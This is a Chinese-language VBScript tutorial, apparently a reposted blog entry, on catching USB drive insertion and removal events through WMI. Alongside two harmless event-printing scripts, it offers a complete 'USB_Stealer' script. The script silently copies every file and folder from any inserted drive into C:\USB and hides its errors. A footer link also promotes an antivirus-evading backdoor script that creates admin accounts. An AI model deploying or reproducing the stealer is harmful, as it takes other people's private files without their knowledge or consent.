用VBS檢測U盤插入與彈出事件的代碼
使用WMI的Win32_VolumeChangeEvent類就可以實現(xiàn),下面是示例代碼,更詳細(xì)的信息請參考MSND文檔。
Const Configuration_Changed = 1
Const Device_Arrival = 2
Const Device_Removal = 3
Const Docking = 4
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
WScript.Echo "U盤插入,盤符為" & _
objLatestEvent.DriveName
Case Device_Removal
WScript.Echo "U盤彈出,盤符為" & _
objLatestEvent.DriveName
End Select
Loop
我也寫了一個U盤小偷程序,自以為比網(wǎng)上抄來抄去的代碼要好,感興趣的可以下載來看看。
'==========================================
'Name : USB_Stealer
'Date : 2010/5/25
'Author : Demon
'Copyright : Copyright (c) 2010 Demon
'E-Mail : still.demon@gmail.com
'QQ : 380401911
'Website : http://demon.tw
'==========================================
'Option Explicit
On Error Resume Next
Const Target_Folder = "C:\USB"
Call Main()
Sub Main()
On Error Resume Next
Const Device_Arrival = 2
Const Device_Removal = 3
Const strComputer = "."
Dim objWMIService, colMonitoredEvents, objLatestEvent
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
Copy_File objLatestEvent.DriveName
End Select
Loop
End Sub
Sub Copy_File(Folder_Path)
On Error Resume Next
Dim fso,file,folder
Set fso = CreateObject("scripting.filesystemobject")
If Not fso.FolderExists(Target_Folder) Then
fso.CreateFolder(Target_Folder)
End If
For Each file In fso.GetFolder(Folder_Path).Files
file.Copy Target_Folder & "\" & file.Name,True
Next
For Each folder In fso.GetFolder(Folder_Path).SubFolders
folder.Copy Target_Folder & "\" & folder.Name,True
Next
End Sub
鑒于很多人反映之前寫的那篇在XP下無效,做了一下修改。說是修改,其實是直接復(fù)制粘貼腳本專家的代碼。
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery _
("Select * From __InstanceOperationEvent Within 10 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 2 Then
Select Case objEvent.Path_.Class
Case "__InstanceCreationEvent"
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
" has been added."
Case "__InstanceDeletionEvent"
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
" has been removed."
End Select
End If
Loop
參考鏈接:How Can I Determine When a Removable Drive Gets Connected?
大家應(yīng)該可以看出學(xué)習(xí)vbs的好地方是哪了, 學(xué)習(xí)vbs官方的網(wǎng)站不得不去,腳本之家很多的vbs相關(guān)的教材都是來自微軟官方的腳本專欄。
原文:http://demon.tw/programming/vbs-usb-insert-remove.html
相關(guān)文章
VBScript使用ADSI為IIS批量添加屏蔽或允許訪問的IP
用ADSI+ASP添加IP到IIS禁止訪問列表中2008-12-12域內(nèi)計算機(jī)和用戶獲取實現(xiàn)vbs代碼
域內(nèi)計算機(jī)和用戶獲取(轉(zhuǎn)自冰點(diǎn)極限-赤龍),學(xué)習(xí)vbs的朋友可以參考下。2010-11-11用vbs實現(xiàn)按創(chuàng)建日期的順序列出一個文件夾中的所有文件
用vbs實現(xiàn)按創(chuàng)建日期的順序列出一個文件夾中的所有文件...2007-03-03用vbs實現(xiàn)配置無人登錄計算機(jī)時使用的屏幕保護(hù)程序
用vbs實現(xiàn)配置無人登錄計算機(jī)時使用的屏幕保護(hù)程序...2007-03-03allfiles.vbs 顯示子目錄下的所有文件的修改時間、大小、文件名、擴(kuò)展名等
這篇文章主要介紹了allfiles.vbs之顯示子目錄下的所有文件的修改時間、大小、全限定名定名等信息,需要的朋友可以參考下2020-08-08VBS加密解密源碼(UserAccounts.CommonDialog) 腳本之家修正版
有時候自己寫了VBS又怕共享后別人盜用你的源碼呢?這里提供了VBS程序源碼加密的方法。2011-02-02xp、2003開3389+非net創(chuàng)建管理用戶+Shift后門+自刪除腳本vbs
喜歡VBS腳本的朋友可以下載使用。此腳本免殺,可以用于WebShell提供時使用,適用于2003系統(tǒng)和XP系統(tǒng)。2008-06-06